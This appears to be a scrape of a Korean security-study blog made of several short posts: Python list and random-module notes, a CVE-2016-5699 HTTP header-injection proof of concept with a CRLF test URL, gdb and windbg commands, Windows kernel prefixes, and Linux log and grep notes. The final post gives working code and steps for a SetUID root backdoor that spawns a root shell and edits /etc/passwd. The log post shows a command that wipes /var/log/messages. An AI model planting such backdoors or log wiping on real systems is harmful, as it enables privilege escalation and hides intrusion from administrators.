336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

빈 리스트
>>> a = [ ]
>>> a
[ ]


append를 이용한 리스트 추가
>>> a.append(1)
>>> a
[1]
>>> a.append("ABC")
>>> a
[1, 'ABC']


+ 연산자를 이용한 리스트 추가
>>> a += "DEF"
>>> a
[1, 'ABC', 'D', 'E', 'F']

>>> a += ["GHI"]
>>> a
[1, 'ABC', 'D', 'E', 'F', 'GHI']


instert를 이용해 리스트 끼워넣기
>>> a.insert(2, 'TEST')
>>> a
[1, 'ABC', 'TEST', 'D', 'E', 'F', 'GHI']



remove를 이용해 삭제하기
>>> a.remove('D')
>>> a
[1, 'ABC', 'TEST', 'E', 'F', 'GHI']


pop을 이용해 맨 마지막 삭제
>>> a
[1, 'ABC', 'TEST', 'E', 'F']
>>> a.pop(2)
'TEST'
>>> a
[1, 'ABC', 'E', 'F']


pop을 이용해 인덱스 값을 꺼내오면서 삭제
>>> a
[1, 'ABC', 'TEST, 'E', 'F']
>>> a.pop(2)
'TEST'
>>> a
[1, 'ABC', 'E', 'F']


len을 이용해서 크기 구하기
>>> a
[1, 'ABC', 'E', 'F']
>>> len(a)
4


index를 이용해서 찾기
>>> a
[1, 'ABC', 'E', 'F']
>>> a.index('E')
2


count
>>> a.count('A')
0
>>> a.count('ABC')
1


sort, reverse
>>> a.reverse()
>>> a
['F', 'E', 'ABC', 1]

>>> a.sort()
>>> a
[1, 'ABC', 'E', 'F']


extend 와 append
>>> a.extend("TEST")
>>> a
[1, 'ABC', 'E', 'F', 'T', 'E', 'S', 'T']

>>> a.append("TEST")
>>> a
[1, 'ABC', 'E', 'F', 'T', 'E', 'S', 'T', 'TEST']



참고 : http://flowarc.tistory.com/118

'Analysis > Python' 카테고리의 다른 글

[Python] wmi  (0) 2016.08.10
[Python] with, seek, tell  (0) 2016.08.03
Python Random 함수  (0) 2016.07.05
base64로 인코딩된 바이너리 파일 확인  (0) 2016.03.31
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.
랜덤함수
1) random
>>> import random
>>> import string
>>> c = string.letters + string.digits
>>> c
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

>>> v = ''.join(random.sample(c, 6))
>>> v
'yxEeLl'
2) uuid
>>> import uuid
>>> uuid.uuid1()
UUID('8f9f01b8-923e-11e0-889b-1093e9020660')

>>> str(uuid.uuid1())
'98c3d57a-923e-11e0-ae95-1093e9020660'

>>> uuid.uuid4() 
UUID('6a81a0ca-dcfc-4024-883e-5abb29238b4d')

>>> str(uuid.uuid4()) 
'7ed3f7b9-84a5-4066-8e9c-e5e1bc370573' 

>>> str(uuid.uuid4()).replace("-", "")
'7ed3f7b984a54066-8e9ce5e1bc370573' 
3) os
>>> import os
>>> import binascii
>>> os.urandom(16)
'h\xb4\xaa<\x12\xa5\xc8\xaf\xa2sCr\x93\x01f\xdc'

>>> binascii.hexlify(os.urandom(16))
'7a26ada27ace29eb422c04efe7313526'

>>> int(binascii.hexlify(os.urandom(16)), 16)
69812220901636122490437131090184792388L 
4) 기타
>>> random.random()
0.37444887175646646

>>> random.uniform(1, 10)
1.1800146073117523

>>> random.randint(1, 10)
7

>>> random.randrange(0, 101, 2)
26

>>> random.choice('abcdefghij')
'c'

>>> items = [1, 2, 3, 4, 5, 6, 7]
>>> random.shuffle(items)
>>> items
[7, 3, 2, 5, 6, 4, 1]

>>> random.sample([1, 2, 3, 4, 5],  3)
[4, 1, 5]

'Analysis > Python' 카테고리의 다른 글

[Python] wmi  (0) 2016.08.10
[Python] with, seek, tell  (0) 2016.08.03
Python 리스트(배열)  (0) 2016.07.05
base64로 인코딩된 바이너리 파일 확인  (0) 2016.03.31
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

참고 : https://github.com/bunseokbot/CVE-2016-5699-poc


poc.py
import urllib.request
import traceback

print("#######################################")
print("Testing HTTP Header injection in Python")
print("Origin : http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html")
print("bunseokbot@UpRoot")
print("#######################################")

while True:
	try:
		url = input("URL : ")
		info = urllib.request.urlopen(url).info()
		print(info)
	except KeyboardInterrupt as kie:
		print("KeyboardInterrupt event found!\nTerminating Program..")
		break
	except Exception as e:
print(traceback.format_exc())

receiver.py
from flask import Flask, request

app = Flask(__name__)
app.debug = True

@app.route("/vulntest")
def vulntest():
	print("###############################################")
	print("Request Header")
	print("###############################################")
	print(request.headers)
	print("###############################################")
	return ''

if __name__ == "__main__":
app.run(port=12345, threaded=True) # localhost only

TEST URL : http://127.0.0.1%0d%0aInjection-success:%20success%0d%0adummy:%20:12345/vulntest


336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

gdb

컴파일 시 디버깅 정보 담기
 - gcc -g -o [프로그램명] [소스파일명]

실행
 - gdb [프로그램명]
 - gdb [프로그램명] [core파일명]
 - gdb [프로그램명] [실행중인프로세스pid]

종료 : q 또는 Ctrl + d

참고 : http://psyoblade.egloos.com/2653919

'Analysis > Linux' 카테고리의 다른 글

[리눅스] init&inittab  (0) 2016.08.16
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

windbg(유져모드 어플리케이션, 드라이버 및 커널모드에서 자체 운영체제 디버깅)

심볼파일 설정
필요파일 : 덤프파일(.dmp)과 관련프로그램(file) 그리고 해당 소스파일(Project)

File>Symbols File Path : 크래시가 난 해당 심볼 위치 경로 설정
 - Symbol 다운로드 : http://msdl.microsoft.com/downloads/symbol
File>Source File Path : 크래시가 난 해당 소스파일 위치 경로 설정
File>Image Fail Path : 크래시가 난 해당 프로그램 위치 경로 설정

!sym -nolsy
 - 덤프 디테일 커맨드 로그 출력
 - 심볼 로딩에서 상세 로그 출력
 - nolsy mode on 설정이 되면 상세 로그 출력 설정이 완료 (mls match 로그 출력)

!analyze -v : 덤프 분석 (서버 파일과 덤프 매핑)

.excr : 크래시 덤프로 남겨진 문제점이 발생한 해당 소스를 호출

.reload : 심볼 즉시 로드

lm : 로딩된 모듈 리스트 확인, v : 모듈 상세정보 표시

kn : 콜스택 확인

ctrl+break : 브레이크

g : 브레이크 히제

q : 디버깅 종료, qd : 디버깅 종료 및 연결해제

r : 레지스터 정보 표시

r $proc : 현재 프로세스의 PED주소(user-mode), 현재 프로세스의 EPROcESS주소(kernel-mode)

r $thread : 현재 스레드의 TEB주소(user-mode), 현재 스레드의 ETHREAD주소(kernel-mode)

r $tpid : PID(프로세스 ID)

r $tid : TIP(스레드 ID)

k 콜스택 정보표시

bp : bp설정

bl : bp 리스트 출력

bc : bp 삭제

bd, be : bp disable/enable

eb : 6byte를 NOP(0x90)으로 변경


*winmerge(winmerge.org) : 파일비교


'Analysis > Windows' 카테고리의 다른 글

sc query  (0) 2016.08.11
SysWOW64란?  (0) 2016.07.18
WebDAV에서 사용하는 메소드  (0) 2016.06.21
윈도우 보안 이벤트 // IIS 로그 분석  (0) 2016.06.21
윈도우 커맨드라인 명령어  (0) 2016.04.07
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

ntoskrnl.exe

- kernel image, 윈도우NT 커널 공간의 커널과 익스큐티브 계층을 제공한다.

- ntdll.dll이 아니라 bootvid.dll, hal.dll, kdcom.dll에 링크되어 있다.(약 2MB)

- 캐시 매니저, 익스큐티브, 커널, 보안 참조 모니터, 메모리 관리자, 스케쥴러를 포함한다.

- 4개의 커널 이미지 파일들이 존재한다.

  ntoskrnl.exe

  ntkrnlmp.exe, smp지원

  ntkrnlpa.exe, pae지원

  ntkrpamp.exe, smp/pae지원


ntoskrnl의 루틴들은 이름에 그들이 정의된 ntosknl의 구성 요소를 가르키는 접두어를 사용한다.

Cc 파일 시스템 캐시
Csr Win32 하위 시스템 프로세스(csrss)와 통신할 때 사용되는 함수들
Dbg 소프트웨어 브레이크포인트 같이 디버깅을 지원하는 함수들
Ex Ntoskrnl.exe의 외부 층인 윈도우 익스큐티브
Exp 전용 윈도우 익스큐티브 : 밖으로 내보내지지 않는 익스큐티브 층 내부의 루틴들 (p = private)
FsRtl 파일 시스템 런타임 라이브러리
Io 입출력 관리자
Ke 핵심 커널 루틴들
Ki 커널 외부에로 내보내어지지 않는 커널 내부의 루틴들 (i = internal)
Ks 커널 스트리밍
Ldr PE 파일 관리를 위한 로더 함수들
Lpc 로컬 프로시저 호출 (내부의 문서화되지 않고 프로세스사이 또는 사용자/커널 메시지 교환 메커니즘에 사용)
Lsa 로컬 보안 인증
Mi 메모리 관리자에 의한 호출을 위해 내보내지지 않은 메모리 관리 함수들
Mm 메모리 관리
Nls 네이티브 언어 지원
Ob 객체 관리자
Pfx 접두어 관리
Po P&P와 전력 관리
Ps 프로세스와 스레드 관리
Rtl 런타임 라이브러리. 이것은 네이티브 응용 프로그램에서 사용될 수 있는 많은 유틸리티 함수들을 포함하지만 직접적으로 커널 지원하지는 않는다.
Se 보안
Vf 드라이버 확인 프로그램
Vi 드라이버 확인 프로그램에 의한 호출을 위해 내보내지지 않는 드라이버 확인 루틴들
Zw Nt 또는 Zw 는 ntdll.dll과 ntoskrnl..exe에서 정의된 시스템 호출이다.

- 사용자 모드의 ntdll.dll에서 호출될 경우, 여기에 속한 함수들은 거의 똑같은 행동을 한다.

- 커널 모드로 들어가 SSDT를 통해 ntoskrnl.exe의 대응되는 함수를 호출한다.

- ntoskrnl.exe에서 직접적으로 호출될 경우(커널 모드에서만 가능), Zw는 커널 모드라는 것을 보장하지만 Nt는 아니다.



'Analysis > API' 카테고리의 다른 글

GetTickCount를 이용한 안티 디버깅  (0) 2016.04.15
안티 디버깅  (0) 2016.04.11
악성코드에 자주 사용되는 API 함수  (1) 2016.04.07
GetEnvironmentVariable - 환경변수 호출  (0) 2016.04.05
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

리눅스 로그 분석
리눅스에서는 /var/log 디렉토리에 시스템의 모든 로그를 기록 및 관리하고 일반적으로 텍스트 형식으로 저장되어 있다.
시스템의 /etc/syslog.conf 파일에는 거의 모든 시스템 로그파일들의 위치를 지정하고 있다.
간단한 문서 편집기나 cat 또는 less 명령어를 통해 그 내용을 볼 수 있다.

그러나 일부 로그 파일의 경우엔 텍스트 형식이 아닌데
btmp와 wtmp로 되어 있어서 각각 lastb와 last라는 명령어를 통해 그 내용을 확인할 수 있다.

/var/log
- boot.log : 리눅스가 부팅이 될때 뿌려주는 모든 메시지를 기록하고 있다.
- cron : 시스템의 정기적인 작업에 대한 로그를 기록하고 있다.

/etc/밑에 있는 파일들중 cron.hourly, cron.daily, cron.weekly, cron.monthly 파일들은 각각 시간별, 일별, 주별, 월별로 정기적으로 실행
- 작업을 한 후에는 /var/log/cron파일에 기록을 남기게 된다.
- message : 운영체제에서 보내주는 실시간 로그를 관리하고 있으며 주로 콘솔로 이 메시지는 실시간으로 보여준다.
- secure : 시스템의 접속에 관한 로그파일로서 언제, 누가, 어디에서 어떻게 접속을 했는가에 대한 로그를 기록하고 있다.
- xferlog : ftp로 로그인하는 사용자에 대한 로그를 기록하는 파일로서 /etc/ftpaccess에 그 설정파일을 가지면 ftp의 홈디렉토리는 /home/ftp이다.
- /var/spool에는 작업중에 일시적으로 저장되는 로그 및 작업들에 대한 기록이 남겨진다.
- /var/spool/mail
  * "elm -f ID"를 실행하면 사용자의 메일을 확인할 수 있다.

로그 파일을 점검할 때, 문제를 해결하기 위하여 리눅스에는 logrotate라는 프로그램을 사용한다.
이를 이용하면 주기적으로 로그 파일을 백업을 하고 일정 기간이 지나면 로그 파일을 삭제 정리한다.
레드햇 리눅스의 경우엔 /etc/logrotate.conf 라는 설정 파일이 있으며 이를 통해 logrotate를 설정할 수 있다.

로그파일 삭제하는 방법
cat /dev/null > /var/log/messages

리눅스 Log파일 종류
/dev/console [콘솔에 뿌려지는 메시지들(콘솔로그)]
/var/log/messages [모든 데몬의 시스템 로그]
/var/log/cron [crond 데몬 로그파일]
/var/log/maillog [sendmail,pop등의 메일관련 데몬의 로그]
/var/log/secure [보안인증 관련 메시지]
/var/log/xferlog [ftp(proftpd, vsftpd) 로그]
/dev/console [콘솔 로그]
/var/log/dmesg [부팅될 당시에 각종 메시지들을 저장]
/var/log/wtmp [시스템 전체 로그인 기록을 저장]
/var/log/utmp [현재 로그인 사용자에 대한 기록, 사용자 IP저장]
/var/log/lastlog [현재 로그인 사용자에 대한 기록]
/var/log/spooler [uucp, new 장치에서 위급상태(crit)이상인 메시지 기록]
/var/log/httpd/access_log [아파치 웹서버의 로그들을 기록]
/var/log/httpd/error_log [아파치 웹서버의 에러들을 저장]

lastlog [ -u 계정명 ] [ -t 일자 ] //시스템 각 계정의 최근 접속정보를 확인
- lastlog 는 /etc/passwd 파일에 정의되어 있는 모든 계정의 최근 접속정보를 확인
- 주로 서버의 보안점검을 위하여 필수적으로 확인, 간단히 lastlog 라고만 하면 모든 계정의 마지막 접속정보를 출력
- lastlog 는 /var/log/lastlog 파일의 정보에 저장된 정보를 참조하여 결과를 출력
- /var/log/lastlog 파일은 바이너리파일로 되어있기 때문에 cat 이나 vi 등의 일반적인 방법으로는 확인할 수 없다.
- /var/log/lastlog 파일에는 각 계정의 최근 접속정보가 기록되는 파일이며 /usr/include/lastlog.h 파일에 정의 된 포맷으로 /var/log/lastlog에 저장

시스템 각 계정의 최근 접속정보 확인
- 간단히 lastlog 라고만 하면 서버의 모든 계정에 대한 최근 접속정보를 확인
- lastlog

특정 계정사용자의 시스템 최근 접속정보 확인
- 특정 계정만의 최근 접속정보를 확인하고자 한다면 -u 옵션과 함께 사용
- lastlog -u stkim

지정한 최근까지의 시스템 접속정보 확인
- lastlog 는 최근 몇 일까지의 마지막 접속정보를 확인 할 수도 있음.
- "last -t 일자" 지정된 일자까지에 접속한 최근 접속정보를 확인
- lastlog -t 30

'Analysis > Linux' 카테고리의 다른 글

[리눅스] init&inittab  (0) 2016.08.16
GDB 사용  (0) 2016.06.23
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

System Information checking
 - The number of CPU cores (cat /proc/cpuinfo)
 - CPU frequency (cat /proc/cpuinfo)
 - CPU usage (cat /proc/stat)
 - The host's IP (from /proc/net/route)
 - The gate MAC address (cat /proc/net/arp)
 - The amount of RAM (cat /proc/meminfo)
 - The volume of data transmitted and received (cat /proc/net/dev)
 - The OS name and version (uname -a)


참고 : http://news.drweb.com/?i=5801&c=5&lng=en&p=0

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
grep  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

1. 사용 형식
grep [<option>] 문자열 [대상파일]

2. 옵션

<option>
-i : 영문의 대소문자를 구별하지 않는다.
-v : pattern을 포함하지 않는 라인을 출력한다.
-n : 검색 결과의 각 행의 선두에 행 번호를 넣는다(first line is 1).
-l : 파일명만 출력한다.
-c : 패턴과 일치하는 라인의 개수만 출력한다.
-r : 하위 디렉토리까지 검색한다.


3. 사용 예
grep hello test.c
-> test.c 라는 파일에서 hello 라는 문구가 들어간 모든 행을 찾아 출력한다.
grep -n hello test.c
-> test.c 라는 파일에서 hello 라는 문구가 들어간 모든 행을 보여주며, 라인까지 출력한다.
grep -r hellow test
-> test 라는 폴더내의 모든 파일중에 hello 라는 문구가 들어간 행을 출력한다.
grep -i hellow test.c
-> test.c 라는 파일에서 hellow 라는 문구를 대,소문자 구분 없이 검색해서 출력한다.
grep -E "aa|bb|cc" test.c
-> tst.c 라는 파일에서 aa 또는 bb 또는 cc 가 있는 모든 행을 찾아 출력한다.


참고 : http://forum.falinux.com/

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
SetUID를 이용한 백도어 제작  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

#vi backdoor.c  //파일제작

#include<stdio.h>
main(){
     setuid(0);
     setgid(0);
     system("/bin/sh");

}

#gcc -o backdoor backdoor.c //컴파일

#chmod 4755 backdoor //일반권한 설정


#./backdoor //실행


#vi /etc/passwd  //일반사용자 id로 접근이 가능해진다.
                      //자신의 일반사용자 id를 찾아 관리자 권한과 동일한 권한을 갖도록 수정

#passwd root

'Analysis > Linux' 카테고리의 다른 글

GDB 사용  (0) 2016.06.23
리눅스 로그 분석  (0) 2016.06.21
리눅스 시스템 정보 체크  (0) 2016.06.21
grep  (0) 2016.06.21
[리눅스] 프로세스 백그라운드 실행  (0) 2016.06.21

+ Recent posts